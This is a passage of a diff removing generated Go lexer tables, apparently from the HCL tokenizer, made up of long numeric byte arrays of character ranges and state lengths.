184, 255, 183, 255, 168, - 255, 128, 179, 188, 134, 143, 154, 159, - 184, 186, 190, 255, 128, 173, 176, 255, - 148, 159, 189, 255, 129, 142, 154, 159, - 191, 255, 128, 182, 128, 141, 144, 153, - 160, 182, 186, 255, 128, 130, 155, 157, - 160, 175, 178, 182, 129, 134, 137, 142, - 145, 150, 160, 166, 168, 174, 176, 255, - 155, 166, 175, 128, 170, 172, 173, 176, - 185, 158, 159, 160, 255, 164, 175, 135, - 138, 188, 255, 164, 169, 171, 172, 173, - 174, 175, 180, 181, 182, 183, 184, 185, - 187, 188, 189, 190, 191, 165, 186, 174, - 175, 154, 255, 190, 128, 134, 147, 151, - 157, 168, 170, 182, 184, 188, 128, 129, - 131, 132, 134, 255, 147, 255, 190, 255, - 144, 145, 136, 175, 188, 255, 128, 143, - 160, 175, 179, 180, 141, 143, 176, 180, - 182, 255, 189, 255, 191, 144, 153, 161, - 186, 129, 154, 166, 255, 191, 255, 130, - 135, 138, 143, 146, 151, 154, 156, 144, - 145, 146, 147, 148, 150, 151, 152, 155, - 157, 158, 160, 170, 171, 172, 175, 161, - 169, 128, 129, 130, 131, 133, 135, 138, - 139, 140, 141, 142, 143, 144, 145, 146, - 147, 148, 149, 152, 156, 157, 160, 161, - 162, 163, 164, 166, 168, 169, 170, 171, - 172, 173, 174, 176, 177, 153, 155, 178, - 179, 128, 139, 141, 166, 168, 186, 188, - 189, 191, 255, 142, 143, 158, 255, 187, - 255, 128, 180, 189, 128, 156, 160, 255, - 145, 159, 161, 255, 128, 159, 176, 255, - 139, 143, 187, 255, 128, 157, 160, 255, - 144, 132, 135, 150, 255, 158, 159, 170, - 175, 148, 151, 188, 255, 128, 167, 176, - 255, 164, 255, 183, 255, 128, 149, 160, - 167, 136, 188, 128, 133, 138, 181, 183, - 184, 191, 255, 150, 159, 183, 255, 128, - 158, 160, 178, 180, 181, 128, 149, 160, - 185, 128, 183, 190, 191, 191, 128, 131, - 133, 134, 140, 147, 149, 151, 153, 179, - 184, 186, 160, 188, 128, 156, 128, 135, - 137, 166, 128, 181, 128, 149, 160, 178, - 128, 145, 128, 178, 129, 130, 131, 132, - 133, 135, 136, 138, 139, 140, 141, 144, - 145, 146, 147, 150, 151, 152, 153, 154, - 155, 156, 162, 163, 171, 176, 177, 178, - 128, 134, 135, 165, 176, 190, 144, 168, - 176, 185, 128, 180, 182, 191, 182, 144, - 179, 155, 133, 137, 141, 143, 157, 255, - 190, 128, 145, 147, 183, 136, 128, 134, - 138, 141, 143, 157, 159, 168, 176, 255, - 171, 175, 186, 255, 128, 131, 133, 140, - 143, 144, 147, 168, 170, 176, 178, 179, - 181, 185, 188, 191, 144, 151, 128, 132, - 135, 136, 139, 141, 157, 163, 166, 172, - 176, 180, 128, 138, 144, 153, 134, 136, - 143, 154, 255, 128, 181, 184, 255, 129, - 151, 158, 255, 129, 131, 133, 143, 154, - 255, 128, 137, 128, 153, 157, 171, 176, - 185, 160, 255, 170, 190, 192, 255, 128, - 184, 128, 136, 138, 182, 184, 191, 128, - 144, 153, 178, 255, 168, 144, 145, 183, - 255, 128, 142, 145, 149, 129, 141, 144, - 146, 147, 148, 175, 255, 132, 255, 128, - 144, 129, 143, 144, 153, 145, 152, 135, - 255, 160, 168, 169, 171, 172, 173, 174, - 188, 189, 190, 191, 161, 167, 185, 255, - 128, 158, 160, 169, 144, 173, 176, 180, - 128, 131, 144, 153, 163, 183, 189, 255, - 144, 255, 133, 143, 191, 255, 143, 159, - 160, 128, 129, 255, 159, 160, 171, 172, - 255, 173, 255, 179, 255, 128, 176, 177, - 178, 128, 129, 171, 175, 189, 255, 128, - 136, 144, 153, 157, 158, 133, 134, 137, - 144, 145, 146, 147, 148, 149, 154, 155, - 156, 157, 158, 159, 168, 169, 170, 150, - 153, 165, 169, 173, 178, 187, 255, 131, - 132, 140, 169, 174, 255, 130, 132, 149, - 157, 173, 186, 188, 160, 161, 163, 164, - 167, 168, 132, 134, 149, 157, 186, 139, - 140, 191, 255, 134, 128, 132, 138, 144, - 146, 255, 166, 167, 129, 155, 187, 149, - 181, 143, 175, 137, 169, 131, 140, 141, - 192, 255, 128, 182, 187, 255, 173, 180, - 182, 255, 132, 155, 159, 161, 175, 128, - 160, 163, 164, 165, 184, 185, 186, 161, - 162, 128, 134, 136, 152, 155, 161, 163, - 164, 166, 170, 133, 143, 151, 255, 139, - 143, 154, 255, 164, 167, 185, 187, 128, - 131, 133, 159, 161, 162, 169, 178, 180, - 183, 130, 135, 137, 139, 148, 151, 153, - 155, 157, 159, 164, 190, 141, 143, 145, - 146, 161, 162, 167, 170, 172, 178, 180, - 183, 185, 188, 128, 137, 139, 155, 161, - 163, 165, 169, 171, 187, 155, 156, 151, - 255, 156, 157, 160, 181, 255, 186, 187, - 255, 162, 255, 160, 168, 161, 167, 158, - 255, 160, 132, 135, 133, 134, 176, 255, - 128, 191, 154, 164, 168, 128, 149, 150, - 191, 128, 152, 153, 191, 181, 128, 159, - 160, 189, 190, 191, 189, 128, 131, 132, - 185, 186, 191, 144, 128, 151, 152, 161, - 162, 176, 177, 255, 169, 177, 129, 132, - 141, 142, 145, 146, 179, 181, 186, 188, - 190, 191, 192, 255, 142, 158, 128, 155, - 156, 161, 162, 175, 176, 177, 178, 191, - 169, 177, 180, 183, 128, 132, 133, 138, - 139, 142, 143, 144, 145, 146, 147, 185, - 186, 191, 157, 128, 152, 153, 158, 159, - 177, 178, 180, 181, 191, 142, 146, 169, - 177, 180, 189, 128, 132, 133, 185, 186, - 191, 144, 185, 128, 159, 160, 161, 162, - 191, 169, 177, 180, 189, 128, 132, 133, - 140, 141, 142, 143, 144, 145, 146, 147, - 185, 186, 191, 158, 177, 128, 155, 156, - 161, 162, 191, 131, 145, 155, 157, 128, - 132, 133, 138, 139, 141, 142, 149, 150, - 152, 153, 159, 160, 162, 163, 164, 165, - 167, 168, 170, 171, 173, 174, 185, 186, - 191, 144, 128, 191, 141, 145, 169, 189, - 128, 132, 133, 185, 186, 191, 128, 151, - 152, 154, 155, 159, 160, 161, 162, 191, - 128, 141, 145, 169, 180, 189, 129, 132, - 133, 185, 186, 191, 158, 128, 159, 160, - 161, 162, 176, 177, 178, 179, 191, 141, - 145, 189, 128, 132, 133, 186, 187, 191, - 142, 128, 147, 148, 150, 151, 158, 159, - 161, 162, 185, 186, 191, 178, 188, 128, - 132, 133, 150, 151, 153, 154, 189, 190, - 191, 128, 134, 135, 191, 128, 177, 129, - 179, 180, 191, 128, 131, 137, 141, 152, - 160, 164, 166, 172, 177, 189, 129, 132, - 133, 134, 135, 138, 139, 147, 148, 167, - 168, 169, 170, 179, 180, 191, 133, 128, - 134, 135, 155, 156, 159, 160, 191, 128, - 129, 191, 136, 128, 172, 173, 191, 128, - 135, 136, 140, 141, 191, 191, 128, 170, - 171, 190, 161, 128, 143, 144, 149, 150, - 153, 154, 157, 158, 164, 165, 166, 167, - 173, 174, 176, 177, 180, 181, 255, 130, - 141, 143, 159, 134, 187, 136, 140, 142, - 143, 137, 151, 153, 142, 143, 158, 159, - 137, 177, 191, 142, 143, 182, 183, 192, - 255, 129, 151, 128, 133, 134, 135, 136, - 255, 145, 150, 151, 155, 191, 192, 255, - 128, 143, 144, 159, 160, 255, 182, 183, - 190, 191, 192, 255, 128, 129, 255, 173, - 174, 192, 255, 128, 129, 154, 155, 159, - 160, 255, 171, 173, 185, 191, 192, 255, - 141, 128, 145, 146, 159, 160, 177, 178, - 191, 173, 128, 145, 146, 159, 160, 176, - 177, 191, 128, 179, 180, 191, 151, 156, - 128, 191, 128, 159, 160, 255, 184, 191, - 192, 255, 169, 128, 170, 171, 175, 176, - 255, 182, 191, 192, 255, 128, 158, 159, - 191, 128, 143, 144, 173, 174, 175, 176, - 180, 181, 191, 128, 171, 172, 175, 176, - 255, 138, 191, 192, 255, 128, 150, 151, - 159, 160, 255, 149, 191, 192, 255, 167, - 128, 191, 128, 132, 133, 179, 180, 191, - 128, 132, 133, 139, 140, 191, 128, 130, - 131, 160, 161, 173, 174, 175, 176, 185, - 186, 255, 166, 191, 192, 255, 128, 163, - 164, 191, 128, 140, 141, 143, 144, 153, - 154, 189, 190, 191, 128, 136, 137, 191, - 173, 128, 168, 169, 177, 178, 180, 181, - 182, 183, 191, 0, 127, 192, 255, 150, - 151, 158, 159, 152, 154, 156, 158, 134, - 135, 142, 143, 190, 191, 192, 255, 181, - 189, 191, 128, 190, 133, 181, 128, 129, - 130, 140, 141, 143, 144, 147, 148, 149, - 150, 155, 156, 159, 160, 172, 173, 177, - 178, 188, 189, 191, 177, 191, 128, 190, - 128, 143, 144, 156, 157, 191, 130, 135, - 148, 164, 166, 168, 128, 137, 138, 149, - 150, 151, 152, 157, 158, 169, 170, 185, - 186, 187, 188, 191, 142, 128, 132, 133, - 137, 138, 159, 160, 255, 137, 191, 192, - 255, 175, 128, 255, 159, 165, 170, 175, - 177, 180, 191, 192, 255, 166, 173, 128, - 167, 168, 175, 176, 255, 168, 174, 176, - 191, 192, 255, 167, 175, 183, 191, 128, - 150, 151, 159, 160, 190, 135, 143, 151, - 128, 158, 159, 191, 128, 132, 133, 135, - 136, 160, 161, 169, 170, 176, 177, 181, - 182, 183, 184, 188, 189, 191, 160, 151, - 154, 187, 192, 255, 128, 132, 133, 173, - 174, 176, 177, 255, 143, 159, 187, 191, - 192, 255, 128, 175, 176, 191, 150, 191, - 192, 255, 141, 191, 192, 255, 128, 143, - 144, 189, 190, 191, 141, 143, 160, 169, - 172, 191, 192, 255, 191, 128, 174, 175, - 190, 128, 157, 158, 159, 160, 255, 176, - 191, 192, 255, 128, 150, 151, 159, 160, - 161, 162, 255, 175, 137, 138, 184, 191, - 192, 255, 128, 182, 183, 255, 130, 134, - 139, 163, 191, 192, 255, 128, 129, 130, - 179, 180, 191, 187, 189, 128, 177, 178, - 183, 184, 191, 128, 137, 138, 165, 166, - 175, 176, 255, 135, 159, 189, 191, 192, - 255, 128, 131, 132, 178, 179, 191, 143, - 165, 191, 128, 159, 160, 175, 176, 185, - 186, 190, 128, 168, 169, 191, 131, 186, - 128, 139, 140, 159, 160, 182, 183, 189, - 190, 255, 176, 178, 180, 183, 184, 190, - 191, 192, 255, 129, 128, 130, 131, 154, - 155, 157, 158, 159, 160, 170, 171, 177, - 178, 180, 181, 191, 128, 167, 175, 129, - 134, 135, 136, 137, 142, 143, 144, 145, - 150, 151, 159, 160, 255, 155, 166, 175, - 128, 162, 163, 191, 164, 175, 135, 138, - 188, 191, 192, 255, 174, 175, 154, 191, - 192, 255, 157, 169, 183, 189, 191, 128, - 134, 135, 146, 147, 151, 152, 158, 159, - 190, 130, 133, 128, 255, 178, 191, 192, - 255, 128, 146, 147, 255, 190, 191, 192, - 255, 128, 143, 144, 255, 144, 145, 136, - 175, 188, 191, 192, 255, 181, 128, 175, - 176, 255, 189, 191, 192, 255, 128, 160, - 161, 186, 187, 191, 128, 129, 154, 155, - 165, 166, 255, 191, 192, 255, 128, 129, - 130, 135, 136, 137, 138, 143, 144, 145, - 146, 151, 152, 153, 154, 156, 157, 191, - 128, 191, 128, 129, 130, 131, 133, 138, - 139, 140, 141, 142, 143, 144, 145, 146, - 147, 148, 149, 152, 156, 157, 160, 161, - 162, 163, 164, 166, 168, 169, 170, 171, - 172, 173, 174, 176, 177, 132, 151, 153, - 155, 158, 175, 178, 179, 180, 191, 140, - 167, 187, 190, 128, 255, 142, 143, 158, - 191, 192, 255, 187, 191, 192, 255, 128, - 180, 181, 191, 128, 156, 157, 159, 160, - 255, 145, 191, 192, 255, 128, 159, 160, - 175, 176, 255, 139, 143, 182, 191, 192, - 255, 144, 132, 135, 150, 191, 192, 255, - 158, 175, 148, 151, 188, 191, 192, 255, - 128, 167, 168, 175, 176, 255, 164, 191, - 192, 255, 183, 191, 192, 255, 128, 149, - 150, 159, 160, 167, 168, 191, 136, 182, - 188, 128, 133, 134, 137, 138, 184, 185, - 190, 191, 255, 150, 159, 183, 191, 192, - 255, 179, 128, 159, 160, 181, 182, 191, - 128, 149, 150, 159, 160, 185, 186, 191, - 128, 183, 184, 189, 190, 191, 128, 148, - 152, 129, 143, 144, 179, 180, 191, 128, - 159, 160, 188, 189, 191, 128, 156, 157, - 191, 136, 128, 164, 165, 191, 128, 181, - 182, 191, 128, 149, 150, 159, 160, 178, - 179, 191, 128, 145, 146, 191, 128, 178, - 179, 191, 128, 130, 131, 132, 133, 134, - 135, 136, 138, 139, 140, 141, 144, 145, - 146, 147, 150, 151, 152, 153, 154, 156, - 162, 163, 171, 176, 177, 178, 129, 191, - 128, 130, 131, 183, 184, 191, 128, 130, - 131, 175, 176, 191, 128, 143, 144, 168, - 169, 191, 128, 130, 131, 166, 167, 191, - 182, 128, 143, 144, 178, 179, 191, 128, - 130, 131, 178, 179, 191, 128, 154, 156, - 129, 132, 133, 191, 146, 128, 171, 172, - 191, 135, 137, 142, 158, 128, 168, 169, - 175, 176, 255, 159, 191, 192, 255, 144, - 128, 156, 157, 161, 162, 191, 128, 134, - 135, 138, 139, 191, 128, 175, 176, 191, - 134, 128, 131, 132, 135, 136, 191, 128, - 174, 175, 191, 128, 151, 152, 155, 156, - 191, 132, 128, 191, 128, 170, 171, 191, - 128, 153, 154, 191, 160, 190, 192, 255, - 128, 184, 185, 191, 137, 128, 174, 175, - 191, 128, 129, 177, 178, 255, 144, 191, - 192, 255, 128, 142, 143, 144, 145, 146, - 149, 129, 148, 150, 191, 175, 191, 192, - 255, 132, 191, 192, 255, 128, 144, 129, - 143, 145, 191, 144, 153, 128, 143, 145, - 152, 154, 191, 135, 191, 192, 255, 160, - 168, 169, 171, 172, 173, 174, 188, 189, - 190, 191, 128, 159, 161, 167, 170, 187, - 185, 191, 192, 255, 128, 143, 144, 173, - 174, 191, 128, 131, 132, 162, 163, 183, - 184, 188, 189, 255, 133, 143, 145, 191, - 192, 255, 128, 146, 147, 159, 160, 191, - 160, 128, 191, 128, 129, 191, 192, 255, - 159, 160, 171, 128, 170, 172, 191, 192, - 255, 173, 191, 192, 255, 179, 191, 192, - 255, 128, 176, 177, 178, 129, 191, 128, - 129, 130, 191, 171, 175, 189, 191, 192, - 255, 128, 136, 137, 143, 144, 153, 154, - 191, 144, 145, 146, 147, 148, 149, 154, - 155, 156, 157, 158, 159, 128, 143, 150, - 153, 160, 191, 149, 157, 173, 186, 188, - 160, 161, 163, 164, 167, 168, 132, 134, - 149, 157, 186, 191, 139, 140, 192, 255, - 133, 145, 128, 134, 135, 137, 138, 255, - 166, 167, 129, 155, 187, 149, 181, 143, - 175, 137, 169, 131, 140, 191, 192, 255, - 160, 163, 164, 165, 184, 185, 186, 128, - 159, 161, 162, 166, 191, 133, 191, 192, - 255, 132, 160, 163, 167, 179, 184, 186, - 128, 164, 165, 168, 169, 187, 188, 191, - 130, 135, 137, 139, 144, 147, 151, 153, - 155, 157, 159, 163, 171, 179, 184, 189, - 191, 128, 140, 141, 148, 149, 160, 161, - 164, 165, 166, 167, 190, 138, 164, 170, - 128, 155, 156, 160, 161, 187, 188, 191, - 128, 191, 155, 156, 128, 191, 151, 191, - 192, 255, 156, 157, 160, 128, 191, 181, - 191, 192, 255, 158, 159, 186, 128, 185, - 187, 191, 192, 255, 162, 191, 192, 255, - 160, 168, 128, 159, 161, 167, 169, 191, - 158, 191, 192, 255, 9, 10, 13, 32, - 33, 34, 35, 38, 46, 47, 60, 61, - 62, 64, 92, 95, 123, 124, 125, 126, - 127, 194, 195, 198, 199, 203, 204, 205, - 206, 207, 210, 212, 213, 214, 215, 216, - 217, 219, 220, 221, 222, 223, 224, 225, - 226, 227, 228, 233, 234, 237, 238, 239, - 240, 0, 36, 37, 45, 48, 57, 58, - 63, 65, 90, 91, 96, 97, 122, 192, - 193, 196, 218, 229, 236, 241, 247, 9, - 32, 10, 61, 10, 38, 46, 42, 47, - 46, 69, 101, 48, 57, 60, 61, 61, - 62, 61, 45, 95, 194, 195, 198, 199, - 203, 204, 205, 206, 207, 210, 212, 213, - 214, 215, 216, 217, 219, 220, 221, 222, - 223, 224, 225, 226, 227, 228, 233, 234, - 237, 239, 240, 243, 48, 57, 65, 90, - 97, 122, 196, 218, 229, 236, 124, 125, - 128, 191, 170, 181, 186, 128, 191, 151, - 183, 128, 255, 192, 255, 0, 127, 173, - 130, 133, 146, 159, 165, 171, 175, 191, - 192, 255, 181, 190, 128, 175, 176, 183, - 184, 185, 186, 191, 134, 139, 141, 162, - 128, 135, 136, 255, 182, 130, 137, 176, - 151, 152, 154, 160, 136, 191, 192, 255, - 128, 143, 144, 170, 171, 175, 176, 178, - 179, 191, 128, 159, 160, 191, 176, 128, - 138, 139, 173, 174, 255, 148, 150, 164, - 167, 173, 176, 185, 189, 190, 192, 255, - 144, 128, 145, 146, 175, 176, 191, 128, - 140, 141, 255, 166, 176, 178, 191, 192, - 255, 186, 128, 137, 138, 170, 171, 179, - 180, 181, 182, 191, 160, 161, 162, 164, - 165, 166, 167, 168, 169, 170, 171, 172, - 173, 174, 175, 176, 177, 178, 179, 180, - 181, 182, 183, 184, 185, 186, 187, 188, - 189, 190, 128, 191, 128, 129, 130, 131, - 137, 138, 139, 140, 141, 142, 143, 144, - 153, 154, 155, 156, 157, 158, 159, 160, - 161, 162, 163, 164, 165, 166, 167, 168, - 169, 170, 171, 172, 173, 174, 175, 176, - 177, 178, 179, 180, 182, 183, 184, 188, - 189, 190, 191, 132, 187, 129, 130, 132, - 133, 134, 176, 177, 178, 179, 180, 181, - 182, 183, 128, 191, 128, 129, 130, 131, - 132, 133, 134, 135, 144, 136, 143, 145, - 191, 192, 255, 182, 183, 184, 128, 191, - 128, 191, 191, 128, 190, 192, 255, 128, - 146, 147, 148, 152, 153, 154, 155, 156, - 158, 159, 160, 161, 162, 163, 164, 165, - 166, 167, 168, 169, 170, 171, 172, 173, - 174, 175, 176, 129, 191, 192, 255, 158, - 159, 128, 157, 160, 191, 192, 255, 128, - 191, 164, 169, 171, 172, 173, 174, 175, - 180, 181, 182, 183, 184, 185, 187, 188, - 189, 190, 191, 128, 163, 165, 186, 144, - 145, 146, 147, 148, 150, 151, 152, 155, - 157, 158, 160, 170, 171, 172, 175, 128, - 159, 161, 169, 173, 191, 128, 191, 10, - 13, 34, 36, 37, 92, 128, 191, 192, - 223, 224, 239, 240, 247, 248, 255, 10, - 13, 34, 92, 36, 37, 128, 191, 192, - 223, 224, 239, 240, 247, 248, 255, 10, - 13, 36, 123, 123, 126, 126, 37, 123, - 126, 10, 13, 128, 191, 192, 223, 224, - 239, 240, 247, 248, 255, 128, 191, 128, - 191, 128, 191, 10, 13, 36, 37, 128, - 191, 192, 223, 224, 239, 240, 247, 248, - 255, 10, 13, 36, 37, 128, 191, 192, - 223, 224, 239, 240, 247, 248, 255, 10, - 13, 10, 13, 123, 10, 13, 126, 10, - 13, 126, 126, 128, 191, 128, 191, 128, - 191, 10, 13, 36, 37, 128, 191, 192, - 223, 224, 239, 240, 247, 248, 255, 10, - 13, 36, 37, 128, 191, 192, 223, 224, - 239, 240, 247, 248, 255, 10, 13, 10, - 13, 123, 10, 13, 126, 10, 13, 126, - 126, 128, 191, 128, 191, 128, 191, 95, - 194, 195, 198, 199, 203, 204, 205, 206, - 207, 210, 212, 213, 214, 215, 216, 217, - 219, 220, 221, 222, 223, 224, 225, 226, - 227, 228, 233, 234, 237, 238, 239, 240, - 65, 90, 97, 122, 128, 191, 192, 193, - 196, 218, 229, 236, 241, 247, 248, 255, - 45, 95, 194, 195, 198, 199, 203, 204, - 205, 206, 207, 210, 212, 213, 214, 215, - 216, 217, 219, 220, 221, 222, 223, 224, - 225, 226, 227, 228, 233, 234, 237, 239, - 240, 243, 48, 57, 65, 90, 97, 122, - 196, 218, 229, 236, 128, 191, 170, 181, - 186, 128, 191, 151, 183, 128, 255, 192, - 255, 0, 127, 173, 130, 133, 146, 159, - 165, 171, 175, 191, 192, 255, 181, 190, - 128, 175, 176, 183, 184, 185, 186, 191, - 134, 139, 141, 162, 128, 135, 136, 255, - 182, 130, 137, 176, 151, 152, 154, 160, - 136, 191, 192, 255, 128, 143, 144, 170, - 171, 175, 176, 178, 179, 191, 128, 159, - 160, 191, 176, 128, 138, 139, 173, 174, - 255, 148, 150, 164, 167, 173, 176, 185, - 189, 190, 192, 255, 144, 128, 145, 146, - 175, 176, 191, 128, 140, 141, 255, 166, - 176, 178, 191, 192, 255, 186, 128, 137, - 138, 170, 171, 179, 180, 181, 182, 191, - 160, 161, 162, 164, 165, 166, 167, 168, - 169, 170, 171, 172, 173, 174, 175, 176, - 177, 178, 179, 180, 181, 182, 183, 184, - 185, 186, 187, 188, 189, 190, 128, 191, - 128, 129, 130, 131, 137, 138, 139, 140, - 141, 142, 143, 144, 153, 154, 155, 156, - 157, 158, 159, 160, 161, 162, 163, 164, - 165, 166, 167, 168, 169, 170, 171, 172, - 173, 174, 175, 176, 177, 178, 179, 180, - 182, 183, 184, 188, 189, 190, 191, 132, - 187, 129, 130, 132, 133, 134, 176, 177, - 178, 179, 180, 181, 182, 183, 128, 191, - 128, 129, 130, 131, 132, 133, 134, 135, - 144, 136, 143, 145, 191, 192, 255, 182, - 183, 184, 128, 191, 128, 191, 191, 128, - 190, 192, 255, 128, 146, 147, 148, 152, - 153, 154, 155, 156, 158, 159, 160, 161, - 162, 163, 164, 165, 166, 167, 168, 169, - 170, 171, 172, 173, 174, 175, 176, 129, - 191, 192, 255, 158, 159, 128, 157, 160, - 191, 192, 255, 128, 191, 164, 169, 171, - 172, 173, 174, 175, 180, 181, 182, 183, - 184, 185, 187, 188, 189, 190, 191, 128, - 163, 165, 186, 144, 145, 146, 147, 148, - 150, 151, 152, 155, 157, 158, 160, 170, - 171, 172, 175, 128, 159, 161, 169, 173, - 191, 128, 191, -} - -var _hcltok_single_lengths []byte = []byte{ - 0, 1, 1, 2, 3, 2, 0, 32, - 31, 36, 1, 4, 0, 0, 0, 0, - 1, 2, 1, 1, 1, 1, 0, 1, - 1, 0, 0, 2, 0, 0, 0, 1, - 32, 0, 0, 0, 0, 1, 3, 1, - 1, 1, 0, 2, 0, 1, 1, 2, - 0, 3, 0, 1, 0, 2, 1, 2, - 0, 0, 5, 1, 4, 0, 0, 1, - 43, 0, 0, 0, 2, 3, 2, 1, - 1, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 1, 1, 0, 0, - 0, 0, 0, 0, 0, 0, 4, 1, - 0, 15, 0, 0, 0, 1, 6, 1, - 0, 0, 1, 0, 2, 0, 0, 0, - 9, 0, 1, 1, 0, 0, 0, 3, - 0, 1, 0, 28, 0, 0, 0, 1, - 0, 1, 0, 0, 0, 1, 0, 0, - 0, 0, 0, 0, 0, 1, 0, 2, - 0, 0, 18, 0, 0, 1, 0, 0, - 0, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 16, 36, 0, 0, 0, 0, - 1, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 0, 0, 0, 2, 0, 0, - 0, 0, 0, 1, 0, 0, 0, 0, - 0, 0, 0, 28, 0, 0, 0, 1, - 1, 1, 1, 0, 0, 2, 0, 1, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 1, 1, 4, 0, 0, 2, 2, - 0, 11, 0, 0, 0, 0, 0, 0, - 0, 1, 1, 3, 0, 0, 4, 0, - 0, 0, 18, 0, 0, 0, 1, 4, - 1, 4, 1, 0, 3, 2, 2, 2, - 1, 0, 0, 1, 8, 0, 0, 0, - 4, 12, 0, 2, 0, 3, 0, 1, - 0, 2, 0, 1, 2, 0, 3, 1, - 2, 0, 0, 0, 0, 0, 1, 1, - 0, 0, 1, 28, 3, 0, 1, 1, - 2, 1, 0, 1, 1, 2, 1, 1, - 2, 1, 1, 0, 2, 1, 1, 1, - 1, 0, 0, 6, 1, 1, 0, 0, - 46, 1, 1, 0, 0, 0, 0, 2, - 1, 0, 0, 0, 1, 0, 0, 0, - 0, 0, 0, 0, 13, 2, 0, 0, - 0, 9, 0, 1, 28, 0, 1, 3, - 0, 2, 0, 0, 0, 1, 0, 1, - 1, 2, 0, 18, 2, 0, 0, 16, - 35, 0, 0, 0, 1, 0, 28, 0, - 0, 0, 0, 1, 0, 2, 0, 0, - 1, 0, 0, 1, 0, 0, 1, 0, - 0, 0, 0, 1, 11, 0, 0, 0, - 0, 4, 0, 12, 1, 7, 0, 4, - 0, 0, 0, 0, 1, 2, 1, 1, - 1, 1, 0, 1, 1, 0, 0, 2, - 0, 0, 0, 1, 32, 0, 0, 0, - 0, 1, 3, 1, 1, 1, 0, 2, - 0, 1, 1, 2, 0, 3, 0, 1, - 0, 2, 1, 2, 0, 0, 5, 1, - 4, 0, 0, 1, 43, 0, 0, 0, - 2, 3, 2, 1, 1, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 1, 1, 0, 0, 0, 0, 0, 0, - 0, 0, 4, 1, 0, 15, 0, 0, - 0, 1, 6, 1, 0, 0, 1, 0, - 2, 0, 0, 0, 9, 0, 1, 1, - 0, 0, 0, 3, 0, 1, 0, 28, - 0, 0, 0, 1, 0, 1, 0, 0, - 0, 1, 0, 0, 0, 0, 0, 0, - 0, 1, 0, 2, 0, 0, 18, 0, - 0, 1, 0, 0, 0, 0, 0, 0, - 0, 0, 1, 0, 0, 0, 16, 36, - 0, 0, 0, 0, 1, 0, 0, 0, - 0, 0, 1, 0, 0, 0, 0, 0, - 0, 2, 0, 0, 0, 0, 0, 1, - 0, 0, 0, 0, 0, 0, 0, 28, - 0, 0, 0, 1, 1, 1, 1, 0, - 0, 2, 0, 1, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 1, 1, 4, - 0, 0, 2, 2, 0, 11, 0, 0, - 0, 0, 0, 0, 0, 1, 1, 3, - 0, 0, 4, 0, 0, 0, 18, 0, - 0, 0, 1, 4, 1, 4, 1, 0, - 3, 2, 2, 2, 1, 0, 0, 1, - 8, 0, 0, 0, 4, 12, 0, 2, - 0, 3, 0, 1, 0, 2, 0, 1, - 2, 0, 0, 3, 0, 1, 1, 1, - 2, 2, 4, 1, 6, 2, 4, 2, - 4, 1, 4, 0, 6, 1, 3, 1, - 2, 0, 2, 11, 1, 1, 1, 0, - 1, 1, 0, 2, 0, 3, 3, 2, - 1, 0, 0, 0, 1, 0, 1, 0, - 1, 1, 0, 2, 0, 0, 1, 0, - 0, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 4, 3, 2, 2, 0, 6, - 1, 0, 1, 1, 0, 2, 0, 4, - 3, 0, 1, 1, 0, 0, 0, 0, - 0, 0, 0, 1, 0, 0, 0, 1, - 0, 3, 0, 2, 0, 0, 0, 3, - 0, 2, 1, 1, 3, 1, 0, 0, - 0, 0, 0, 5, 2, 0, 0, 0, - 0, 0, 0, 1, 0, 0, 1, 1, - 0, 0, 35, 4, 0, 0, 0, 0, - 0, 0, 0, 1, 0, 0, 0, 0, - 0, 0, 3, 0, 1, 0, 0, 3, - 0, 0, 1, 0, 0, 0, 0, 28, - 0, 0, 0, 0, 1, 0, 3, 1, - 4, 0, 1, 0, 0, 1, 0, 0, - 1, 0, 0, 0, 0, 1, 1, 0, - 7, 0, 0, 2, 2, 0, 11, 0, - 0, 0, 0, 0, 1, 1, 3, 0, - 0, 4, 0, 0, 0, 12, 1, 4, - 1, 5, 2, 0, 3, 2, 2, 2, - 1, 7, 0, 7, 17, 3, 0, 2, - 0, 3, 0, 0, 1, 0, 2, 0, - 2, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 2, 2, 1, 0, 0, 0, - 2, 2, 4, 0, 0, 0, 0, 1, - 2, 1, 1, 1, 1, 0, 1, 1, - 0, 0, 2, 0, 0, 0, 1, 32, - 0, 0, 0, 0, 1, 3, 1, 1, - 1, 0, 2, 0, 1, 1, 2, 0, - 3, 0, 1, 0, 2, 1, 2, 0, - 0, 5, 1, 4, 0, 0, 1, 43, - 0, 0, 0, 2, 3, 2, 1, 1, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 1, 1, 0, 0, 0, - 0, 0, 0, 0, 0, 4, 1, 0, - 15, 0, 0, 0, 1, 6, 1, 0, - 0, 1, 0, 2, 0, 0, 0, 9, - 0, 1, 1, 0, 0, 0, 3, 0, - 1, 0, 28, 0, 0, 0, 1, 0, - 1, 0, 0, 0, 1, 0, 0, 0, - 0, 0, 0, 0, 1, 0, 2, 0, - 0, 18, 0, 0, 1, 0, 0, 0, - 0, 0, 0, 0, 0, 1, 0, 0, - 0, 16, 36, 0, 0, 0, 0, 1, - 0, 0, 0, 0, 0, 1, 0, 0, - 0, 0, 0, 0, 2, 0, 0, 0, - 0, 0, 1, 0, 0, 0, 0, 0, - 0, 0, 28, 0, 0, 0, 1, 1, - 1, 1, 0, 0, 2, 0, 1, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 1, 1, 4, 0, 0, 2, 2, 0, - 11, 0, 0, 0, 0, 0, 0, 0, - 1, 1, 3, 0, 0, 4, 0, 0, - 0, 18, 0, 0, 0, 1, 4, 1, - 4, 1, 0, 3, 2, 2, 2, 1, - 0, 0, 1, 8, 0, 0, 0, 4, - 12, 0, 2, 0, 3, 0, 1, 0, - 2, 0, 1, 2, 0, 0, 3, 0, - 1, 1, 1, 2, 2, 4, 1, 6, - 2, 4, 2, 4, 1, 4, 0, 6, - 1, 3, 1, 2, 0, 2, 11, 1, - 1, 1, 0, 1, 1, 0, 2, 0, - 3, 3, 2, 1, 0, 0, 0, 1, - 0, 1, 0, 1, 1, 0, 2, 0, - 0, 1, 0, 0, 0, 0, 0, 0, 